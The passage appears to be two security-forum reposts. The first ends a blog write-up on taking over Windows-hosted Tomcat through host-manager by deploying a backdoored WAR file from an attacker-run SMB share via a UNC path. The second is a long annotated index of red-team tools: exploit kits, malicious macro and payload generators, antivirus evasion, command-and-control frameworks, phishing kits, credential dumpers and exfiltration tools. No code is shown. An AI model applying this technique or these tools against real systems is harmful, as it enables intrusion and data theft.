auxiliary/scanner/http/tomcat_mgr_login Hydra Nikto (it integrates a test with the login combo “tomcat/tomcat”) A few scripts linked to Tomcat e.g. : https://gist.github.com/th3gundy/d562eb1ae5dc42d666d3aab761bd4d96 Exploiting the « host-manager » Ok, so we’ve got access to the host-manager, now what? The application does not have and upload form, and from what I’d gathered from the documentation, you need to know and control the path of the application you want to deploy, as well as a valid vhost. And when I was reading the doc again, I had the idea which would later become the exploit: what if I could create a UNC path pointing towards an SMB server (smbserver.py by impacket) that I controled ! Bingo! Tomcat connects to my server! Which means that Tomcat interprets the UNC path and is trying to install an application from the “datatest” folder. We will oblige it and create the “datatest” folder, and add a little WAR file in which we insert a backdoor that will enable us to take over the server from our C&C. 1- Creating a WAR Creating a WAR is relatively simple; it’s a zip file whose extension we change to .war. Inside the zip file we have a JSP file that lets us execute system commands through the browser. We create our own ZIP with the backdoor inside it… … and change the extension: For all you script kiddies out there that aren’t sure about what you’re doing, you can use the handy msfvenom tool to create a WAR file and execute “meterpreter” directly: 2- Deploy and pwn Now that our WAR file is on the Tomcat server and deploy it from our C&C, we are going to use the smbserver.py provided by the “impacket” package to share the following folder: The deployment is done remotely, and the files are stored on our C&C. To access our backdoor, Tomcat uses the alias, which means it might be necessary to add the server’s IP in the /etc/hosts with vhost that we used for deployment. Now we configure the application before deployment: Success ! Connection of Tomcat from my SMB server during deployment: A quick trip to our browser confirms that our backdoor is now in place, and that we can execute system commands on the Windows server. Contents of the directory on my machine once deployment is finished: This method of Tomcat exploit has been tested on the following Tomcat versions when hosted on a windows server: <=7.0.92 et <=8.5.37. Sursa: https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/

This tool kit is very much influenced by infosecn1nja's kit. Use this script to grab majority of the repos. NOTE: hard coded in /opt and made for Kali Linux Total Size (so far): 2.5G Contents Reconnaissance Weaponization Delivery Command and Control Lateral Movement Establish Foothold Escalate Privileges Data Exfiltration Misc References Reconnaissance Active Intelligence Gathering EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible. https://github.com/ChrisTruncer/EyeWitness AWSBucketDump is a tool to quickly enumerate AWS S3 buckets to look for loot. https://github.com/jordanpotti/AWSBucketDump AQUATONE is a set of tools for performing reconnaissance on domain names. https://github.com/michenriksen/aquatone spoofcheck a program that checks if a domain can be spoofed from. The program checks SPF and DMARC records for weak configurations that allow spoofing. https://github.com/BishopFox/spoofcheck Nmap is used to discover hosts and services on a computer network, thus building a "map" of the network. https://github.com/nmap/nmap dnsrecon a tool DNS Enumeration Script. https://github.com/darkoperator/dnsrecon Passive Intelligence Gathering Social Mapper OSINT Social Media Mapping Tool, takes a list of names & images (or LinkedIn company name) and performs automated target searching on a huge scale across multiple social media sites. Not restricted by APIs as it instruments a browser using Selenium. Outputs reports to aid in correlating targets across sites. https://github.com/SpiderLabs/social_mapper skiptracer OSINT scraping framework, utilizes some basic python webscraping (BeautifulSoup) of PII paywall sites to compile passive information on a target on a ramen noodle budget. https://github.com/xillwillx/skiptracer ScrapedIn a tool to scrape LinkedIn without API restrictions for data reconnaissance. https://github.com/dchrastil/ScrapedIn linkScrape A LinkedIn user/company enumeration tool. https://github.com/NickSanzotta/linkScrape FOCA (Fingerprinting Organizations with Collected Archives) is a tool used mainly to find metadata and hidden information in the documents its scans. https://github.com/ElevenPaths/FOCA theHarvester is a tool for gathering subdomain names, e-mail addresses, virtual hosts, open ports/ banners, and employee names from different public sources. https://github.com/laramies/theHarvester Metagoofil is a tool for extracting metadata of public documents (pdf,doc,xls,ppt,etc) availables in the target websites. https://github.com/laramies/metagoofil SimplyEmail Email recon made fast and easy, with a framework to build on. https://github.com/killswitch-GUI/SimplyEmail truffleHog searches through git repositories for secrets, digging deep into commit history and branches. https://github.com/dxa4481/truffleHog Just-Metadata is a tool that gathers and analyzes metadata about IP addresses. It attempts to find relationships between systems within a large dataset. https://github.com/ChrisTruncer/Just-Metadata typofinder a finder of domain typos showing country of IP address. https://github.com/nccgroup/typofinder pwnedOrNot is a python script which checks if the email account has been compromised in a data breach, if the email account is compromised it proceeds to find passwords for the compromised account. https://github.com/thewhiteh4t/pwnedOrNot GitHarvester This tool is used for harvesting information from GitHub like google dork. https://github.com/metac0rtex/GitHarvester Frameworks Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates. https://www.paterva.com/web7/downloads.php SpiderFoot the open source footprinting and intelligence-gathering tool. https://github.com/smicallef/spiderfoot datasploit is an OSINT Framework to perform various recon techniques on Companies, People, Phone Number, Bitcoin Addresses, etc., aggregate all the raw data, and give data in multiple formats. https://github.com/DataSploit/datasploit Recon-ng is a full-featured Web Reconnaissance framework written in Python. https://bitbucket.org/LaNMaSteR53/recon-ng Weaponization Composite Moniker Proof of Concept exploit for CVE-2017-8570. https://github.com/rxwx/CVE-2017-8570 Exploit toolkit CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. https://github.com/bhdresh/CVE-2017-8759 CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum. https://github.com/unamer/CVE-2017-11882 Adobe Flash Exploit CVE-2018-4878. https://github.com/anbai-inc/CVE-2018-4878 Exploit toolkit CVE-2017-0199 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. https://github.com/bhdresh/CVE-2017-0199 demiguise is a HTA encryption tool for RedTeams. https://github.com/nccgroup/demiguise Office-DDE-Payloads collection of scripts and templates to generate Office documents embedded with the DDE, macro-less command execution technique. https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads CACTUSTORCH Payload Generation for Adversary Simulations. https://github.com/mdsecactivebreach/CACTUSTORCH SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. https://github.com/mdsecactivebreach/SharpShooter Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. https://github.com/Mr-Un1k0d3r/DKMC Malicious Macro Generator Utility Simple utility design to generate obfuscated macro that also include a AV / Sandboxes escape mechanism. https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator SCT Obfuscator Cobalt Strike SCT payload obfuscator. https://github.com/Mr-Un1k0d3r/SCT-obfuscator Invoke-Obfuscation PowerShell Obfuscator. https://github.com/danielbohannon/Invoke-Obfuscation Invoke-DOSfuscation cmd.exe Command Obfuscation Generator & Detection Test Harness. https://github.com/danielbohannon/Invoke-DOSfuscation morphHTA Morphing Cobalt Strike's evil.HTA. https://github.com/vysec/morphHTA Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. https://github.com/trustedsec/unicorn Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created. https://www.shellterproject.com/ EmbedInHTML Embed and hide any file in an HTML file. https://github.com/Arno0x/EmbedInHTML SigThief Stealing Signatures and Making One Invalid Signature at a Time. https://github.com/secretsquirrel/SigThief Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. https://github.com/Veil-Framework/Veil CheckPlease Sandbox evasion modules written in PowerShell, Python, Go, Ruby, C, C#, Perl, and Rust. https://github.com/Arvanaghi/CheckPlease Invoke-PSImage is a tool to embeded a PowerShell script in the pixels of a PNG file and generates a oneliner to execute. https://github.com/peewpw/Invoke-PSImage LuckyStrike a PowerShell based utility for the creation of malicious Office macro documents. To be used for pentesting or educational purposes only. https://github.com/curi0usJack/luckystrike ClickOnceGenerator Quick Malicious ClickOnceGenerator for Red Team. The default application a simple WebBrowser widget that point to a website of your choice. https://github.com/Mr-Un1k0d3r/ClickOnceGenerator macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of MS Office documents, VB scripts, and other formats for pentest, demo, and social engineering assessments. https://github.com/sevagas/macro_pack StarFighters a JavaScript and VBScript Based Empire Launcher. https://github.com/Cn33liz/StarFighters nps_payload this script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. https://github.com/trustedsec/nps_payload SocialEngineeringPayloads a collection of social engineering tricks and payloads being used for credential theft and spear phishing attacks. https://github.com/bhdresh/SocialEngineeringPayloads The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. https://github.com/trustedsec/social-engineer-toolkit Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. https://github.com/ryhanson/phishery PowerShdll run PowerShell with rundll32. Bypass software restrictions. https://github.com/p3nt4/PowerShdll Ultimate AppLocker ByPass List The goal of this repository is to document the most common techniques to bypass AppLocker. https://github.com/api0cradle/UltimateAppLockerByPassList Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. https://github.com/sensepost/ruler Generate-Macro is a standalone PowerShell script that will generate a malicious Microsoft Office document with a specified payload and persistence method. https://github.com/enigma0x3/Generate-Macro Malicious Macro MSBuild Generator Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. https://github.com/infosecn1nja/MaliciousMacroMSBuild Meta Twin is designed as a file resource cloner. Metadata, including digital signature, is extracted from one file and injected into another. https://github.com/threatexpress/metatwin WePWNise generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software. https://github.com/mwrlabs/wePWNise DotNetToJScript a tool to create a JScript file which loads a .NET v2 assembly from memory. https://github.com/tyranid/DotNetToJScript PSAmsi is a tool for auditing and defeating AMSI signatures. https://github.com/cobbr/PSAmsi Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. https://github.com/stephenfewer/ReflectiveDLLInjection ps1encode use to generate and encode a powershell based metasploit payloads. https://github.com/CroweCybersecurity/ps1encode Worse PDF turn a normal PDF file into malicious. Use to steal Net-NTLM Hashes from windows machines. https://github.com/3gstudent/Worse-PDF SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. https://github.com/hlldz/SpookFlare GreatSCT is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team. https://github.com/GreatSCT/GreatSCT nps running powershell without powershell. https://github.com/Ben0xA/nps Meterpreter_Paranoid_Mode.sh allows users to secure your staged/stageless connection for Meterpreter by having it check the certificate of the handler it is connecting to. https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL The Backdoor Factory (BDF) is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state. https://github.com/secretsquirrel/the-backdoor-factory MacroShop a collection of scripts to aid in delivering payloads via Office Macros. https://github.com/khr0x40sh/MacroShop UnmanagedPowerShell Executes PowerShell from an unmanaged process. https://github.com/leechristensen/UnmanagedPowerShell evil-ssdp Spoof SSDP replies to phish for NTLM hashes on a network. Creates a fake UPNP device, tricking users into visiting a malicious phishing page. https://gitlab.com/initstring/evil-ssdp Ebowla Framework for Making Environmental Keyed Payloads. https://github.com/Genetic-Malware/Ebowla make-pdf-embedded a tool to create a PDF document with an embedded file. https://github.com/DidierStevens/DidierStevensSuite/blob/master/make-pdf-embedded.py avet (AntiVirusEvasionTool) is targeting windows machines with executable files using different evasion techniques. https://github.com/govolution/avet Delivery Phishing King Phisher is a tool for testing and promoting user awareness by simulating real world phishing attacks. https://github.com/securestate/king-phisher FiercePhish is a full-fledged phishing framework to manage all phishing engagements. It allows you to track separate phishing campaigns, schedule sending of emails, and much more. https://github.com/Raikia/FiercePhish ReelPhish is a Real-Time Two-Factor Phishing Tool. https://github.com/fireeye/ReelPhish/ Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. https://github.com/gophish/gophish CredSniper is a phishing framework written with the Python micro-framework Flask and Jinja2 templating which supports capturing 2FA tokens. https://github.com/ustayready/CredSniper PwnAuth a web application framework for launching and managing OAuth abuse campaigns. https://github.com/fireeye/PwnAuth Phishing Frenzy Ruby on Rails Phishing Framework. https://github.com/pentestgeek/phishing-frenzy Phishing Pretexts a library of pretexts to use on offensive phishing engagements. https://github.com/L4bF0x/PhishingPretexts *Modlishka is a flexible and powerful reverse proxy, that will take your ethical phishing campaigns to the next level. https://github.com/drk1wi/Modlishka Watering Hole Attack BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. https://github.com/beefproject/beef Command and Control Remote Access Tools Cobalt Strike is software for Adversary Simulations and Red Team Operations. https://cobaltstrike.com/ Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. https://github.com/EmpireProject/Empire Metasploit Framework is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. https://github.com/rapid7/metasploit-framework SILENTTRINITY A post-exploitation agent powered by Python, IronPython, C#/.NET. https://github.com/byt3bl33d3r/SILENTTRINITY Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python. https://github.com/n1nj4sec/pupy Koadic or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. https://github.com/zerosum0x0/koadic PoshC2 is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. https://github.com/nettitude/PoshC2 Gcat a stealthy Python based backdoor that uses Gmail as a command and control server. https://github.com/byt3bl33d3r/gcat TrevorC2 is a legitimate website (browsable) that tunnels client/server communications for covert command execution. https://github.com/trustedsec/trevorc2 Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang. https://github.com/Ne0nd0g/merlin Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. https://github.com/quasar/QuasarRAT Staging Rapid Attack Infrastructure (RAI) Red Team Infrastructure... Quick... Fast... Simplified One of the most tedious phases of a Red Team Operation is usually the infrastructure setup. This usually entails a teamserver or controller, domains, redirectors, and a Phishing server. https://github.com/obscuritylabs/RAI Red Baron is a set of modules and custom/third-party providers for Terraform which tries to automate creating resilient, disposable, secure and agile infrastructure for Red Teams. https://github.com/byt3bl33d3r/Red-Baron EvilURL generate unicode evil domains for IDN Homograph Attack and detect them. https://github.com/UndeadSec/EvilURL Domain Hunter checks expired domains, bluecoat categorization, and Archive.org history to determine good candidates for phishing and C2 domain names. https://github.com/threatexpress/domainhunter PowerDNS is a simple proof of concept to demonstrate the execution of PowerShell script using DNS only. https://github.com/mdsecactivebreach/PowerDNS Chameleon a tool for evading Proxy categorisation. https://github.com/mdsecactivebreach/Chameleon CatMyFish Search for categorized domain that can be used during red teaming engagement. Perfect to setup whitelisted domain for your Cobalt Strike beacon C&C. https://github.com/Mr-Un1k0d3r/CatMyFish Malleable C2 is a domain specific language to redefine indicators in Beacon's communication. https://github.com/rsmudge/Malleable-C2-Profiles Malleable-C2-Randomizer This script randomizes Cobalt Strike Malleable C2 profiles through the use of a metalanguage, hopefully reducing the chances of flagging signature-based detection controls. https://github.com/bluscreenofjeff/Malleable-C2-Randomizer FindFrontableDomains search for potential frontable domains. https://github.com/rvrsh3ll/FindFrontableDomains Postfix-Server-Setup Setting up a phishing server is a very long and tedious process. It can take hours to setup, and can be compromised in minutes. https://github.com/n0pe-sled/Postfix-Server-Setup DomainFrontingLists a list of Domain Frontable Domains by CDN. https://github.com/vysec/DomainFrontingLists Apache2-Mod-Rewrite-Setup Quickly Implement Mod-Rewrite in your infastructure. https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup mod_rewrite rule to evade vendor sandboxes. https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10 external_c2 framework a python framework for usage with Cobalt Strike's External C2. https://github.com/Und3rf10w/external_c2_framework ExternalC2 a library for integrating communication channels with the Cobalt Strike External C2 server. https://github.com/ryhanson/ExternalC2 cs2modrewrite a tools for convert Cobalt Strike profiles to modrewrite scripts. https://github.com/threatexpress/cs2modrewrite e2modrewrite a tools for convert Empire profiles to Apache modrewrite scripts. https://github.com/infosecn1nja/e2modrewrite redi automated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt). https://github.com/taherio/redi Domain Fronting Google App Engine. https://github.com/redteam-cyberark/Google-Domain-fronting DomainFrontDiscover Scripts and results for finding domain frontable CloudFront domains. https://github.com/peewpw/DomainFrontDiscover Automated Empire Infrastructure https://github.com/bneg/RedTeam-Automation Serving Random Payloads with NGINX. https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9 meek is a blocking-resistant pluggable transport for Tor. It encodes a data stream as a sequence of HTTPS requests and responses. https://github.com/arlolra/meek CobaltStrike-ToolKit Some useful scripts for CobaltStrike. https://github.com/killswitch-GUI/CobaltStrike-ToolKit mkhtaccess_red Auto-generate an HTaccess for payload delivery -- automatically pulls ips/nets/etc from known sandbox companies/sources that have been seen before, and redirects them to a benign payload. https://github.com/violentlydave/mkhtaccess_red RedFile a flask wsgi application that serves files with intelligence, good for serving conditional RedTeam payloads. https://github.com/outflanknl/RedFile keyserver Easily serve HTTP and DNS keys for proper payload protection. https://github.com/leoloobeek/keyserver DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). This is built for the popular Adversary Simulation and Red Team Operations Software Cobalt Strike (https://www.cobaltstrike.com). https://github.com/SpiderLabs/DoHC2 Lateral Movement CrackMapExec is a swiss army knife for pentesting networks. https://github.com/byt3bl33d3r/CrackMapExec PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. https://github.com/Mr-Un1k0d3r/PowerLessShell GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application. https://github.com/GoFetchAD/GoFetch ANGRYPUPPY a bloodhound attack path automation in CobaltStrike. https://github.com/vysec/ANGRYPUPPY DeathStar is a Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active Directory environments using a variety of techinques. https://github.com/byt3bl33d3r/DeathStar SharpHound C# Rewrite of the BloodHound Ingestor. https://github.com/BloodHoundAD/SharpHound BloodHound.py is a Python based ingestor for BloodHound, based on Impacket. https://github.com/fox-it/BloodHound.py Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. https://github.com/SpiderLabs/Responder SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally. https://github.com/fireeye/SessionGopher PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. https://github.com/PowerShellMafia/PowerSploit Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing. https://github.com/samratashok/nishang Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. https://github.com/Kevin-Robertson/Inveigh PowerUpSQL a PowerShell Toolkit for Attacking SQL Server. https://github.com/NetSPI/PowerUpSQL MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). https://github.com/dafthack/MailSniper WMIOps is a powershell script that uses WMI to perform a variety of actions on hosts, local or remote, within a Windows environment. It's designed primarily for use on penetration tests or red team engagements. https://github.com/ChrisTruncer/WMIOps Mimikatz is an open-source utility that enables the viewing of credential information from the Windows lsass. https://github.com/gentilkiwi/mimikatz LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. https://github.com/AlessandroZ/LaZagne mimipenguin a tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. https://github.com/huntergregal/mimipenguin PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. https://docs.microsoft.com/en-us/sysinternals/downloads/psexec KeeThief allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system. https://github.com/HarmJ0y/KeeThief PSAttack combines some of the best projects in the infosec powershell community into a self contained custom PowerShell console. https://github.com/jaredhaight/PSAttack Internal Monologue Attack Retrieving NTLM Hashes without Touching LSASS. https://github.com/eladshamir/Internal-Monologue Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (for instance NMB, SMB1-3 and MS-DCERPC) the protocol implementation itself. https://github.com/CoreSecurity/impacket icebreaker gets plaintext Active Directory credentials if you're on the internal network but outside the AD environment. https://github.com/DanMcInerney/icebreaker Living Off The Land Binaries and Scripts (and now also Libraries) The goal of these lists are to document every binary, script and library that can be used for other purposes than they are designed to. https://github.com/api0cradle/LOLBAS WSUSpendu for compromised WSUS server to extend the compromise to clients. https://github.com/AlsidOfficial/WSUSpendu Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. https://github.com/infobyte/evilgrade NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. https://github.com/NytroRST/NetRipper LethalHTA Lateral Movement technique using DCOM and HTA. https://github.com/codewhitesec/LethalHTA Invoke-PowerThIEf an Internet Explorer Post Exploitation library. https://github.com/nettitude/Invoke-PowerThIEf RedSnarf is a pen-testing / red-teaming tool for Windows environments. https://github.com/nccgroup/redsnarf HoneypotBuster Microsoft PowerShell module designed for red teams that can be used to find honeypots and honeytokens in the network or at the host. https://github.com/JavelinNetworks/HoneypotBuster Establish Foothold Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. https://github.com/SECFORCE/Tunna reGeorg the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. https://github.com/sensepost/reGeorg Blade is a webshell connection tool based on console, currently under development and aims to be a choice of replacement of Chooper. https://github.com/wonderqs/Blade TinyShell Web Shell Framework. https://github.com/threatexpress/tinyshell PowerLurk is a PowerShell toolset for building malicious WMI Event Subsriptions. https://github.com/Sw4mpf0x/PowerLurk DAMP The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification. https://github.com/HarmJ0y/DAMP Escalate Privileges Domain Escalation PowerView is a PowerShell tool to gain network situational awareness on Windows domains. https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 Get-GPPPassword Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 Invoke-ACLpwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured. https://github.com/fox-it/Invoke-ACLPwn BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. https://github.com/BloodHoundAD/BloodHound PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek Grouper a PowerShell script for helping to find vulnerable settings in AD Group Policy. https://github.com/l0ss/Grouper ADRecon is a tool which extracts various artifacts (as highlighted below) out of an AD environment in a specially formatted Microsoft Excel report that includes summary views with metrics to facilitate analysis. https://github.com/sense-of-security/ADRecon ADACLScanner one script for ACL's in Active Directory. https://github.com/canix1/ADACLScanner LAPSToolkit a tool to audit and attack LAPS environments. https://github.com/leoloobeek/LAPSToolkit PingCastle is a free, Windows-based utility to audit the risk level of your AD infrastructure and check for vulnerable practices. https://www.pingcastle.com/download RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). https://github.com/cyberark/RiskySPN Mystique is a PowerShell tool to play with Kerberos S4U extensions, this module can assist blue teams to identify risky Kerberos delegation configurations as well as red teams to impersonate arbitrary users by leveraging KCD with Protocol Transition. https://github.com/machosec/Mystique Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project. https://github.com/GhostPack/Rubeus kekeo is a little toolbox I have started to manipulate Microsoft Kerberos in C (and for fun). https://github.com/gentilkiwi/kekeo Local Escalation UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. https://github.com/hfiref0x/UACME windows-kernel-exploits a collection windows kernel exploit. https://github.com/SecWiki/windows-kernel-exploits PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations. https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload. https://github.com/rsmudge/ElevateKit Sherlock a powerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. https://github.com/rasta-mouse/Sherlock Tokenvator a tool to elevate privilege with Windows Tokens. https://github.com/0xbadjuju/Tokenvator Data Exfiltration CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. https://github.com/TryCatchHCF/Cloakify DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time. https://github.com/sensepost/DET DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. https://github.com/Arno0x/DNSExfiltrator PyExfil a Python Package for Data Exfiltration. https://github.com/ytisf/PyExfil Egress-Assess is a tool used to test egress data detection capabilities. https://github.com/ChrisTruncer/Egress-Assess Powershell RAT python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. https://github.com/Viralmaniar/Powershell-RAT Misc Wireless Networks Wifiphisher is a security tool that performs Wi-Fi automatic association attacks to force wireless clients to unknowingly connect to an attacker-controlled Access Point. https://github.com/wifiphisher/wifiphisher Evilginx is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. https://github.com/kgretzky/evilginx mana toolkit for wifi rogue AP attacks and MitM. https://github.com/sensepost/mana Embedded & Peripheral Devices Hacking magspoof a portable device that can spoof/emulate any magnetic stripe, credit card or hotel card "wirelessly", even on standard magstripe (non-NFC/RFID) readers. https://github.com/samyk/magspoof WarBerryPi was built to be used as a hardware implant during red teaming scenarios where we want to obtain as much information as possible in a short period of time with being as stealth as possible. https://github.com/secgroundzero/warberry P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor). https://github.com/mame82/P4wnP1 malusb HID spoofing multi-OS payload for Teensy. https://github.com/ebursztein/malusb Fenrir is a tool designed to be used "out-of-the-box" for penetration tests and offensive engagements. Its main feature and purpose is to bypass wired 802.1x protection and to give you an access to the target network. https://github.com/Orange-Cyberdefense/fenrir-ocd poisontap exploits locked/password protected computers over USB, drops persistent WebSocket-based backdoor, exposes internal router, and siphons cookies using Raspberry Pi Zero & Node.js. https://github.com/samyk/poisontap WHID WiFi HID Injector - An USB Rubberducky / BadUSB On Steroids. https://github.com/whid-injector/WHID Software For Team Communication RocketChat is free, unlimited and open source. Replace email & Slack with the ultimate team chat software solution. https://rocket.chat Etherpad is an open source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document https://etherpad.net Log Aggregation RedELK Red Team's SIEM - easy deployable tool for Red Teams used for tracking and alarming about Blue Team activities as well as better usability in long term operations. https://github.com/outflanknl/RedELK/ CobaltSplunk Splunk Dashboard for CobaltStrike logs. https://github.com/vysec/CobaltSplunk Red Team Telemetry A collection of scripts and configurations to enable centralized logging of red team infrastructure. https://github.com/ztgrace/red_team_telemetry Elastic for Red Teaming Repository of resources for configuring a Red Team SIEM using Elastic. https://github.com/SecurityRiskAdvisors/RedTeamSIEM C# Offensive Framework SharpSploit is a .NET post-exploitation library written in C# that aims to highlight the attack surface of .NET and make the use of offensive .NET easier for red teamers. https://github.com/cobbr/SharpSploit GhostPack is (currently) a collection various C# implementations of previous PowerShell functionality, and includes six separate toolsets being released today- Seatbelt, SharpUp, SharpRoast, SharpDump, SafetyKatz, and SharpWMI. https://github.com/GhostPack SharpWeb .NET 2.0 CLR project to retrieve saved browser credentials from Google Chrome, Mozilla Firefox and Microsoft Internet Explorer/Edge. https://github.com/djhohnstein/SharpWeb reconerator C# Targeted Attack Reconnissance Tools. https://github.com/stufus/reconerator SharpView C# implementation of harmj0y's PowerView. https://github.com/tevora-threat/SharpView Watson is a (.NET 2.0 compliant) C# implementation of Sherlock. https://github.com/rasta-mouse/Watson Labs Detection Lab This lab has been designed with defenders in mind. Its primary purpose is to allow the user to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. https://github.com/clong/DetectionLab Modern Windows Attacks and Defense Lab This is the lab configuration for the Modern Windows Attacks and Defense class that Sean Metcalf (@pyrotek3) and I teach. https://github.com/jaredhaight/WindowsAttackAndDefenseLab Invoke-UserSimulator Simulates common user behaviour on local and remote Windows hosts. https://github.com/ubeeri/Invoke-UserSimulator Invoke-ADLabDeployer Automated deployment of Windows and Active Directory test lab networks. Useful for red and blue teams. https://github.com/outflanknl/Invoke-ADLabDeployer Sheepl Creating realistic user behaviour for supporting tradecraft development within lab environments. https://github.com/SpiderLabs/sheepl Scripts Aggressor Scripts is a scripting language for red team operations and adversary simulations inspired by scriptable IRC clients and bots. https://github.com/invokethreatguy/CSASC https://github.com/secgroundzero/CS-Aggressor-Scripts https://github.com/Und3rf10w/Aggressor-scripts https://github.com/harleyQu1nn/AggressorScripts https://github.com/rasta-mouse/Aggressor-Script https://github.com/RhinoSecurityLabs/Aggressor-Scripts https://github.com/bluscreenofjeff/AggressorScripts https://github.com/001SPARTaN/aggressor_scripts https://github.com/360-A-Team/CobaltStrike-Toolset A collection scripts useful for red teaming and pentesting https://github.com/FuzzySecurity/PowerShell-Suite https://github.com/nettitude/Powershell https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts https://github.com/threatexpress/red-team-scripts 